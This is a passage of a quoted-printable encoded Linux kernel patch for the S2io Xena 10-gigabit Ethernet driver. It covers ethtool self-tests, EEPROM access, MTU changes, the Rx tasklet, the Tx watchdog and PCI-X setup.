data_buf[cnt] & 0x000000FF;=0A= + if (data) {=0A= + valid =3D (u32) (data << 24);=0A= + } else=0A= + valid =3D data;=0A= +=0A= + if (writeEeprom(sp, (eeprom->offset + cnt), valid, 0)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "ETHTOOL_WRITE_EEPROM Err: Cannot ");=0A= + DBG_PRINT(ERR_DBG,=0A= + "write into the specified offset\n");=0A= + return -EFAULT;=0A= + }=0A= + cnt++;=0A= + len--;=0A= + }=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success.=0A= + * Description:=0A= + * Read and write into all clock domains. The NIC has 3 clock domains,=0A= + * see that registers in all the three regions are accessible.=0A= + */=0A= +static int s2io_registerTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64 =3D 0;=0A= + int fail =3D 0;=0A= +=0A= + val64 =3D read64(&bar0->pcc_enable);=0A= + if (val64 !=3D 0xff00000000000000ULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(INFO_DBG, "Read Test level 1 fails\n");=0A= + }=0A= +=0A= + val64 =3D read64(&bar0->rmac_pause_cfg);=0A= + if (val64 !=3D 0xc000ffff00000000ULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(INFO_DBG, "Read Test level 2 fails\n");=0A= + }=0A= +=0A= + val64 =3D read64(&bar0->rx_queue_cfg);=0A= + if (val64 !=3D 0x0808080808080808ULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(INFO_DBG, "Read Test level 3 fails\n");=0A= + }=0A= +=0A= + val64 =3D read64(&bar0->xgxs_efifo_cfg);=0A= + if (val64 !=3D 0x000000001923141EULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(INFO_DBG, "Read Test level 4 fails\n");=0A= + }=0A= +=0A= + val64 =3D 0x5A5A5A5A5A5A5A5AULL;=0A= + write64(&bar0->xmsi_data, val64);=0A= + val64 =3D read64(&bar0->xmsi_data);=0A= + if (val64 !=3D 0x5A5A5A5A5A5A5A5AULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(ERR_DBG, "Write Test level 1 fails\n");=0A= + }=0A= +=0A= + val64 =3D 0xA5A5A5A5A5A5A5A5ULL;=0A= + write64(&bar0->xmsi_data, val64);=0A= + val64 =3D read64(&bar0->xmsi_data);=0A= + if (val64 !=3D 0xA5A5A5A5A5A5A5A5ULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(ERR_DBG, "Write Test level 2 fails\n");=0A= + }=0A= +=0A= + *data =3D fail;=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success.=0A= + * Description:=0A= + * Verify that EEPROM in the xena can be programmed using I2C_CONTROL =0A= + * register.=0A= + */=0A= +static int s2io_eepromTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + int fail =3D 0, ret_data;=0A= +=0A= + /* Test Write Error at offset 0 */=0A= + if (!writeEeprom(sp, 0, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write at offset 4f0 */=0A= + if (writeEeprom(sp, 0x4F0, 0x01234567, 3))=0A= + fail =3D 1;=0A= + if ((ret_data =3D readEeprom(sp, 0x4f0)) < 0)=0A= + fail =3D 1;=0A= +=0A= + if (ret_data !=3D 0x01234567)=0A= + fail =3D 1;=0A= +=0A= + /* Reset the EEPROM data go FFFF */=0A= + writeEeprom(sp, 0x4F0, 0xFFFFFFFF, 3);=0A= +=0A= + /* Test Write Request Error at offset 0x7c */=0A= + if (!writeEeprom(sp, 0x07C, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write Request at offset 0x7fc */=0A= + if (writeEeprom(sp, 0x7FC, 0x01234567, 3))=0A= + fail =3D 1;=0A= + if ((ret_data =3D readEeprom(sp, 0x7FC)) < 0)=0A= + fail =3D 1;=0A= +=0A= + if (ret_data !=3D 0x01234567)=0A= + fail =3D 1;=0A= +=0A= + /* Reset the EEPROM data go FFFF */=0A= + writeEeprom(sp, 0x7FC, 0xFFFFFFFF, 3);=0A= +=0A= + /* Test Write Error at offset 0x80 */=0A= + if (!writeEeprom(sp, 0x080, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write Error at offset 0xfc */=0A= + if (!writeEeprom(sp, 0x0FC, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write Error at offset 0x100 */=0A= + if (!writeEeprom(sp, 0x100, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write Error at offset 4ec */=0A= + if (!writeEeprom(sp, 0x4EC, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + *data =3D fail;=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success and -1 on failure.=0A= + * Description:=0A= + * This invokes the MemBist test of the card. We give around=0A= + * 2 secs time for the Test to complete. If it's still not complete=0A= + * within this peiod, we consider that the test failed. =0A= + */=0A= +static int s2io_bistTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + u8 bist =3D 0;=0A= + int cnt =3D 0, ret =3D -1;=0A= +=0A= + pci_read_config_byte(sp->pdev, PCI_BIST, &bist);=0A= + bist |=3D PCI_BIST_START;=0A= + pci_write_config_word(sp->pdev, PCI_BIST, bist);=0A= +=0A= + while (cnt < 20) {=0A= + pci_read_config_byte(sp->pdev, PCI_BIST, &bist);=0A= + if (!(bist & PCI_BIST_START)) {=0A= + *data =3D (bist & PCI_BIST_CODE_MASK);=0A= + ret =3D 0;=0A= + break;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ/10); =0A= + cnt++;=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success.=0A= + * Description:=0A= + * The function verifies the link state of the NIC and updates the = input =0A= + * argument 'data' appropriately.=0A= + */=0A= +static int s2io_linkTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= +=0A= + val64 =3D read64(&bar0->adapter_status);=0A= + if (val64 & ADAPTER_STATUS_RMAC_LOCAL_FAULT)=0A= + *data =3D 1;=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success.=0A= + * Description:=0A= + * This is one of the offline test that tests the read and write =0A= + * access to the RldRam chip on the NIC.=0A= + */=0A= +static int s2io_rldramTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= + int cnt, iteration =3D 0, test_pass =3D 0;=0A= +=0A= + val64 =3D read64(&bar0->adapter_control);=0A= + val64 &=3D ~ADAPTER_ECC_EN;=0A= + write64(&bar0->adapter_control, val64);=0A= +=0A= + val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= + val64 |=3D MC_RLDRAM_TEST_MODE;=0A= + write64(&bar0->mc_rldram_test_ctrl, val64);=0A= +=0A= + val64 =3D read64(&bar0->mc_rldram_mrs);=0A= + val64 |=3D MC_RLDRAM_QUEUE_SIZE_ENABLE;=0A= + write64(&bar0->mc_rldram_mrs, val64);=0A= +=0A= + val64 |=3D MC_RLDRAM_MRS_ENABLE;=0A= + write64(&bar0->mc_rldram_mrs, val64);=0A= +=0A= + while (iteration < 2) {=0A= + val64 =3D 0x55555555aaaa0000ULL;=0A= + if (iteration =3D=3D 1) {=0A= + val64 ^=3D 0xFFFFFFFFFFFF0000ULL;=0A= + }=0A= + write64(&bar0->mc_rldram_test_d0, val64);=0A= +=0A= + val64 =3D 0xaaaa5a5555550000ULL;=0A= + if (iteration =3D=3D 1) {=0A= + val64 ^=3D 0xFFFFFFFFFFFF0000ULL;=0A= + }=0A= + write64(&bar0->mc_rldram_test_d1, val64);=0A= +=0A= + val64 =3D 0x55aaaaaaaa5a0000ULL;=0A= + if (iteration =3D=3D 1) {=0A= + val64 ^=3D 0xFFFFFFFFFFFF0000ULL;=0A= + }=0A= + write64(&bar0->mc_rldram_test_d2, val64);=0A= +=0A= + val64 =3D (u64) (0x0000003fffff0000ULL);=0A= + write64(&bar0->mc_rldram_test_add, val64);=0A= +=0A= +=0A= + val64 =3D MC_RLDRAM_TEST_MODE;=0A= + write64(&bar0->mc_rldram_test_ctrl, val64);=0A= +=0A= + val64 |=3D=0A= + MC_RLDRAM_TEST_MODE | MC_RLDRAM_TEST_WRITE |=0A= + MC_RLDRAM_TEST_GO;=0A= + write64(&bar0->mc_rldram_test_ctrl, val64);=0A= +=0A= + for (cnt =3D 0; cnt < 5; cnt++) {=0A= + val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= + if (val64 & MC_RLDRAM_TEST_DONE)=0A= + break;=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ/5); =0A= + }=0A= +=0A= + if (cnt =3D=3D 5)=0A= + break;=0A= +=0A= + val64 =3D MC_RLDRAM_TEST_MODE;=0A= + write64(&bar0->mc_rldram_test_ctrl, val64);=0A= +=0A= + val64 |=3D MC_RLDRAM_TEST_MODE | MC_RLDRAM_TEST_GO;=0A= + write64(&bar0->mc_rldram_test_ctrl, val64);=0A= +=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ/2); =0A= + for (cnt =3D 0; cnt < 5; cnt++) {=0A= + val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= + if (val64 & MC_RLDRAM_TEST_DONE)=0A= + break;=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ/2); =0A= + }=0A= +=0A= + if (cnt =3D=3D 5)=0A= + break;=0A= +=0A= + val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= + if (val64 & MC_RLDRAM_TEST_PASS)=0A= + test_pass =3D 1;=0A= +=0A= + iteration++;=0A= + }=0A= +=0A= + if (!test_pass)=0A= + *data =3D 1;=0A= + else=0A= + *data =3D 0;=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * ethtest - pointer to a ethtool command specific structure that will = be=0A= + * returned to the user.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * SUCCESS on success and an appropriate -1 on failure.=0A= + * Description:=0A= + * This function conducts 6 tests ( 4 offline and 2 online) to = determine=0A= + * the health of the card.=0A= + */=0A= +static void s2io_ethtool_test(struct net_device *dev,=0A= + struct ethtool_test *ethtest,=0A= + uint64_t * data)=0A= +{=0A= + nic_t *sp =3D (nic_t *)dev->priv;=0A= + int orig_state =3D netif_running(sp->dev);=0A= +=0A= + if (ethtest->flags =3D=3D ETH_TEST_FL_OFFLINE) {=0A= + /* Offline Tests. */=0A= + if (orig_state) {=0A= + s2io_close(sp->dev);=0A= + s2io_set_swapper(sp);=0A= + } else=0A= + s2io_set_swapper(sp);=0A= +=0A= + if (s2io_registerTest(sp, &data[0]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + s2io_reset(sp);=0A= + s2io_set_swapper(sp);=0A= +=0A= + if (s2io_rldramTest(sp, &data[3]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + s2io_reset(sp);=0A= + s2io_set_swapper(sp);=0A= +=0A= + if (s2io_eepromTest(sp, &data[1]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + if (s2io_bistTest(sp, &data[4]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + if (orig_state)=0A= + s2io_open(sp->dev);=0A= +=0A= + data[2] =3D 0;=0A= + } else {=0A= + /* Online Tests. */=0A= + if (!orig_state) {=0A= + DBG_PRINT(ERR_DBG, "%s: is not up, cannot run test\n",=0A= + dev->name);=0A= + data[0] =3D -1;=0A= + data[1] =3D -1;=0A= + data[2] =3D -1;=0A= + data[3] =3D -1;=0A= + data[4] =3D -1;=0A= + }=0A= +=0A= + if (s2io_linkTest(sp, &data[2]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + data[0] =3D 0;=0A= + data[1] =3D 0;=0A= + data[3] =3D 0;=0A= + data[4] =3D 0;=0A= + }=0A= +}=0A= +=0A= +=0A= +int s2io_ethtool_get_regs_len(struct net_device *dev)=0A= +{=0A= + return (XENA_REG_SPACE);=0A= +}=0A= +=0A= +int s2io_ethtool_nway_reset(struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + DBG_PRINT(INFO_DBG, "Card reset through EthTool\n");=0A= + if (netif_running(dev)) {=0A= + s2io_close(dev);=0A= + s2io_open(dev);=0A= + } else {=0A= + s2io_reset(sp);=0A= + s2io_set_swapper(sp);=0A= + }=0A= + return SUCCESS;=0A= +}=0A= +=0A= +u32 s2io_ethtool_get_link(struct net_device *dev)=0A= +{=0A= + return(netif_carrier_ok(dev));=0A= +}=0A= +=0A= +u32 s2io_ethtool_get_rx_csum(struct net_device *dev)=0A= +{=0A= + return ((dev->features & NETIF_F_HW_CSUM));=0A= +}=0A= +=0A= +int s2io_ethtool_set_rx_csum(struct net_device *dev,u32 data)=0A= +{=0A= + if(data)=0A= + dev->features |=3D NETIF_F_HW_CSUM;=0A= + else=0A= + dev->features &=3D ~NETIF_F_HW_CSUM;=0A= + return SUCCESS;=0A= +}=0A= +u32 s2io_ethtool_get_tx_csum(struct net_device *dev)=0A= +{=0A= + return ((dev->features & NETIF_F_HW_CSUM));=0A= +}=0A= +int s2io_ethtool_set_tx_csum(struct net_device *dev,u32 data)=0A= +{=0A= + if(data)=0A= + dev->features |=3D NETIF_F_HW_CSUM;=0A= + else=0A= + dev->features &=3D ~NETIF_F_HW_CSUM;=0A= + return SUCCESS;=0A= +}=0A= +=0A= +int s2io_get_eeprom_len(struct net_device *dev)=0A= +{=0A= + return(XENA_EEPROM_SPACE);=0A= +}=0A= +=0A= +u32 s2io_ethtool_get_sg(struct net_device *dev)=0A= +{=0A= + return ((dev->features & NETIF_F_SG));=0A= +}=0A= +int s2io_ethtool_set_sg(struct net_device *dev, u32 data)=0A= +{=0A= + if (data)=0A= + dev->features |=3D NETIF_F_SG;=0A= + else=0A= + dev->features &=3D ~NETIF_F_SG;=0A= + return SUCCESS;=0A= +}=0A= +#ifdef NETIF_F_TSO=0A= +u32 s2io_ethtool_get_tso(struct net_device *dev)=0A= +{=0A= + return ((dev->features & NETIF_F_TSO));=0A= +}=0A= +int s2io_ethtool_set_tso(struct net_device *dev,u32 data)=0A= +{=0A= + if(data)=0A= + dev->features |=3D NETIF_F_TSO;=0A= + else=0A= + dev->features &=3D ~NETIF_F_TSO;=0A= + return SUCCESS;=0A= +}=0A= +#endif=0A= +void s2io_ethtool_self_test_count(struct net_device *dev)=0A= +{=0A= + return (S2IO_TEST_LEN);=0A= +}=0A= +void s2io_ethtool_get_strings(struct net_device *dev, =0A= + u32 stringset, u8 *data)=0A= +{=0A= + switch (stringset) {=0A= + case ETH_SS_TEST:=0A= + memcpy(data, s2io_gstrings,=0A= + S2IO_STRINGS_LEN);=0A= + }=0A= +}=0A= +static struct ethtool_ops netdev_ethtool_ops =3D {=0A= + .get_settings =3D s2io_ethtool_gset, =0A= + .set_settings =3D s2io_ethtool_sset,=0A= + .get_drvinfo =3D s2io_ethtool_gdrvinfo, =0A= + .get_regs_len =3D s2io_ethtool_get_regs_len,=0A= + .get_regs =3D s2io_ethtool_gregs, =0A= + .get_wol =3D NULL,=0A= + .set_wol =3D NULL,=0A= + .get_msglevel =3D NULL,=0A= + .set_msglevel =3D NULL,=0A= + .nway_reset =3D s2io_ethtool_nway_reset,=0A= + .get_link =3D s2io_ethtool_get_link, =0A= + .get_eeprom_len =3D s2io_get_eeprom_len, =0A= + .get_eeprom =3D s2io_ethtool_geeprom, =0A= + .set_eeprom =3D s2io_ethtool_seeprom, =0A= + .get_coalesce =3D NULL,=0A= + .set_coalesce =3D NULL,=0A= + .get_ringparam =3D NULL,=0A= + .set_ringparam =3D NULL,=0A= + .get_pauseparam =3D s2io_ethtool_getpause_data, =0A= + .set_pauseparam =3D s2io_ethtool_setpause_data, =0A= + .get_rx_csum =3D s2io_ethtool_get_rx_csum, =0A= + .set_rx_csum =3D s2io_ethtool_set_rx_csum, =0A= + .get_tx_csum =3D s2io_ethtool_get_tx_csum,=0A= + .set_tx_csum =3D s2io_ethtool_set_tx_csum,=0A= + .get_sg =3D s2io_ethtool_get_sg, =0A= + .set_sg =3D s2io_ethtool_set_sg, =0A= +#ifdef NETIF_F_TSO=0A= + .get_tso =3D s2io_ethtool_get_tso,=0A= + .set_tso =3D s2io_ethtool_set_tso,=0A= +#else=0A= + .get_tso =3D NULL,=0A= + .set_tso =3D NULL,=0A= +#endif=0A= + .self_test_count=3D s2io_ethtool_self_test_count, =0A= + .self_test =3D s2io_ethtool_test, =0A= + .get_strings =3D s2io_ethtool_get_strings,=0A= + .phys_id =3D s2io_ethtool_idnic,=0A= + .get_stats_count =3D NULL,=0A= + .get_ethtool_stats =3D NULL=0A= +};=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - Device pointer.=0A= + * ifr - An IOCTL specefic structure, that can contain a pointer to=0A= + * a proprietary structure used to pass information to the driver.=0A= + * cmd - This is used to distinguish between the different commands = that=0A= + * can be passed to the IOCTL functions.=0A= + * Return value:=0A= + * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * This function has support for ethtool, adding multiple MAC = addresses on =0A= + * the NIC and some DBG commands for the util tool.=0A= + */=0A= +int s2io_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)=0A= +{=0A= + return -EOPNOTSUPP;=0A= +=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - device pointer.=0A= + * new_mtu - the new MTU size for the device.=0A= + * Return value:=0A= + * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * A driver entry point to change MTU size for the device. Before = changing=0A= + * the MTU the device must be stopped.=0A= + */=0A= +int s2io_change_mtu(struct net_device *dev, int new_mtu)=0A= +{=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + register u64 val64;=0A= +=0A= + if (netif_running(dev)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Must be stopped to ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "change its MTU \n");=0A= + return -EBUSY;=0A= + }=0A= +=0A= + if ((new_mtu < MIN_MTU) || (new_mtu > S2IO_JUMBO_SIZE)) {=0A= + DBG_PRINT(ERR_DBG, "%s: MTU size is invalid.\n",=0A= + dev->name);=0A= + return -EPERM;=0A= + }=0A= +=0A= +/* Set the new MTU into the PYLD register of the NIC */=0A= + val64 =3D new_mtu;=0A= + write64(&bar0->rmac_max_pyld_len, vBIT(val64, 2, 14));=0A= +=0A= + dev->mtu =3D new_mtu;=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev_adr - address of the device structure in dma_addr_t format.=0A= + * Return value:=0A= + * void.=0A= + * Description:=0A= + * This is the tasklet or the bottom half of the ISR. This is=0A= + * an extension of the ISR which is scheduled by the scheduler to be = run =0A= + * when the load on the CPU is low. All low priority tasks of the ISR = can=0A= + * be pushed into the tasklet. For now the tasklet is used only to =0A= + * replenish the Rx buffers in the Rx buffer descriptors.=0A= + */=0A= +static void s2io_tasklet(unsigned long dev_addr)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) dev_addr;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + int i, ret;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + if (!TASKLET_IN_USE) {=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + ret =3D fill_rx_buffers(sp, i);=0A= + if (ret =3D=3D -ENOMEM) {=0A= + DBG_PRINT(ERR_DBG, "%s: Out of ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "memory in tasklet\n");=0A= + return;=0A= + } else if (ret =3D=3D -EFILL) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "%s: Rx Ring %d is full\n",=0A= + dev->name, i);=0A= + return;=0A= + }=0A= + }=0A= + clear_bit(0, (unsigned long *) (&sp->tasklet_status));=0A= + }=0A= +}=0A= +=0A= +/*=0A= + * Description:=0A= + * This function is scheduled to be run by the s2io_tx_watchdog=0A= + * function after 0.5 secs to reset the NIC. The idea is to reduce =0A= + * the run time of the watch dog routine which is run holding a=0A= + * spin lock.=0A= + */=0A= +static void s2io_restart_nic(unsigned long data)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *)data;=0A= + nic_t *sp =3D (nic_t *)dev->priv;=0A= +=0A= + s2io_close(dev);=0A= + sp->device_close_flag =3D TRUE;=0A= + s2io_open(dev);=0A= + DBG_PRINT(INFO_DBG,=0A= + "%s: was reset by Tx watchdog timer.\n", dev->name);=0A= + clear_bit(0, (unsigned long *) (&sp->rst_status));=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - device pointer.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * This function is triggered if the Tx Queue is stopped=0A= + * for a pre-defined amount of time when the Interface is still up.=0A= + * If the Interface is jammed in such a situation, the hardware is=0A= + * reset (by s2io_close) and restarted again (by s2io_open) to=0A= + * overcome any problem that might have been caused in the hardware.=0A= + */=0A= +static void s2io_tx_watchdog(struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= +=0A= + if ((!RST_TIMER_SCHEDULED) && (netif_carrier_ok(dev))) {=0A= + if (sp->rst_timer.function =3D=3D NULL) {=0A= + init_timer(&sp->rst_timer);=0A= + sp->rst_timer.function =3D s2io_restart_nic;=0A= + sp->rst_timer.data =3D (unsigned long) sp;=0A= + }=0A= + mod_timer(&sp->rst_timer, (jiffies + HZ/2));=0A= + }=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * skb - the socket buffer pointer.=0A= + * len - length of the packet=0A= + * cksum - FCS checksum of the frame.=0A= + * ring_no - the ring from which this RxD was extracted.=0A= + * Return value:=0A= + * SUCCESS on success and -1 on failure.=0A= + * Description: =0A= + * This function is called by the Tx interrupt serivce routine to = perform =0A= + * some OS related operations on the SKB before passing it to the = upper=0A= + * layers. It mainly checks if the checksum is OK, if so adds it to = the=0A= + * SKBs cksum variable, increments the Rx packet count and passes the = SKB=0A= + * to the upper layer. If the checksum is wrong, it increments the Rx=0A= + * packet error count, frees the SKB and returns error.=0A= + */=0A= +static int rxOsmHandler(nic_t * sp, u16 len, RxD_t * rxdp, int ring_no)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) sp->dev;=0A= + struct sk_buff *skb =3D=0A= + (struct sk_buff *) ((unsigned long) rxdp->Host_Control);=0A= + u16 l3_csum, l4_csum;=0A= +=0A= + l3_csum =3D RXD_GET_L3_CKSUM(rxdp->Control_1);=0A= + if (rxdp->Control_1 & TCP_OR_UDP_FRAME) {=0A= + l4_csum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= + if ((l3_csum =3D=3D L3_CKSUM_OK) && (l4_csum =3D=3D L4_CKSUM_OK)) {=0A= + /* NIC verifies if the Checksum of the received=0A= + * frame is Ok or not and accordingly returns=0A= + * a flag in the RxD.=0A= + */=0A= + skb->ip_summed =3D CHECKSUM_UNNECESSARY;=0A= + } else {=0A= + /* =0A= + * Packet with erroneous checksum, let the =0A= + * upper layers deal with it.=0A= + */=0A= + skb->ip_summed =3D CHECKSUM_NONE;=0A= + }=0A= + } else {=0A= + skb->ip_summed =3D CHECKSUM_NONE;=0A= + }=0A= +=0A= + skb->dev =3D dev;=0A= + skb_put(skb, len);=0A= + skb->protocol =3D eth_type_trans(skb, dev);=0A= +=0A= +#ifdef CONFIG_S2IO_NAPI=0A= + netif_receive_skb(skb);=0A= +#else=0A= + netif_rx(skb);=0A= +#endif=0A= +=0A= + dev->last_rx =3D jiffies;=0A= +#if DEBUG_ON=0A= + sp->rxpkt_cnt++;=0A= +#endif=0A= + sp->rx_pkt_count++;=0A= + sp->stats.rx_packets++;=0A= + sp->stats.rx_bytes +=3D len;=0A= + sp->rxpkt_bytes +=3D len;=0A= +=0A= + atomic_dec(&sp->rx_bufs_left[ring_no]);=0A= + rxdp->Host_Control =3D 0;=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* sp - private member of the device structure, which is a pointer to = the =0A= +* s2io_nic structure.=0A= +* link - inidicates whether link is UP/DOWN.=0A= +* Return value:=0A= +* void.=0A= +* Description:=0A= +* This function stops/starts the Tx queue depending on whether the = link=0A= +* status of the NIC is is down or up. This is called by the Alarm = interrupt =0A= +* handler whenever a link change interrupt comes up. =0A= +*/=0A= +void s2io_link(nic_t * sp, int link)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) sp->dev;=0A= +=0A= + if (link =3D=3D 0) {=0A= + DBG_PRINT(ERR_DBG, "%s: Link down\n", dev->name);=0A= + netif_carrier_off(dev);=0A= + netif_stop_queue(dev);=0A= + } else {=0A= + DBG_PRINT(ERR_DBG, "%s: Link Up\n", dev->name);=0A= + netif_carrier_on(dev);=0A= + netif_wake_queue(dev);=0A= + }=0A= +}=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* pdev - structure containing the PCI related information of the = device.=0A= +* Return value:=0A= +* returns the revision ID of the device.=0A= +* Description:=0A= +* Function to identify the Revision ID of xena.=0A= +*/=0A= +int get_xena_rev_id(struct pci_dev *pdev)=0A= +{=0A= + u8 id =3D 0;=0A= + int ret;=0A= + ret =3D pci_read_config_byte(pdev, PCI_REVISION_ID, (u8 *) & id);=0A= + return id;=0A= +}=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* sp - private member of the device structure, which is a pointer to = the =0A= +* s2io_nic structure.=0A= +* Return value:=0A= +* void=0A= +* Description:=0A= +* This function initializes a few of the PCI and PCI-X configuration = registers=0A= +* with recommended values.=0A= +*/=0A= +static void s2io_init_pci(nic_t * sp)=0A= +{=0A= + u16 pci_cmd =3D 0;=0A= +=0A= +/* Enable Data Parity Error Recovery in PCI-X command register. */=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= + pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + (sp->pcix_cmd | 1));=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= +=0A= +/* Set the PErr Response bit in PCI command register. */=0A= + pci_read_config_word(sp->pdev, PCI_COMMAND, &pci_cmd);=0A= + pci_write_config_word(sp->pdev, PCI_COMMAND,=0A= + (pci_cmd | PCI_COMMAND_PARITY));=0A= + pci_read_config_word(sp->pdev, PCI_COMMAND, &pci_cmd);=0A= +=0A= +/* Set user specified value in Latency Timer */=0A= + if (latency_timer) {=0A= + pci_write_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= + latency_timer);=0A= + pci_read_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= + &latency_timer);=0A= + pci_write_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= + latency_timer);=0A= + }=0A= +=0A= +/* Set MMRB count to 4096 in PCI-X Command register. */=0A= + pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + (sp->pcix_cmd | 0x0C));=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= +=0A= +/* Setting Maximum outstanding splits to two for now. */=0A= + /*Grisha : first clear out the OST field */=0A= + sp->pcix_cmd &=3D 0xFF1F;=0A= +=0A= + sp->pcix_cmd |=3D=0A= + XENA_MAX_OUTSTANDING_SPLITS(XENA_TWO_SPLIT_TRANSACTION);=0A= + pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + sp->pcix_cmd);=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= +=0A= +}=0A= +=0A= +MODULE_AUTHOR("Raghavendra Koushik ");=0A= +MODULE_LICENSE("GPL");=0A= +MODULE_PARM(ring_num, "1-" __MODULE_STRING(1) "i");=0A= +MODULE_PARM(frame_len, 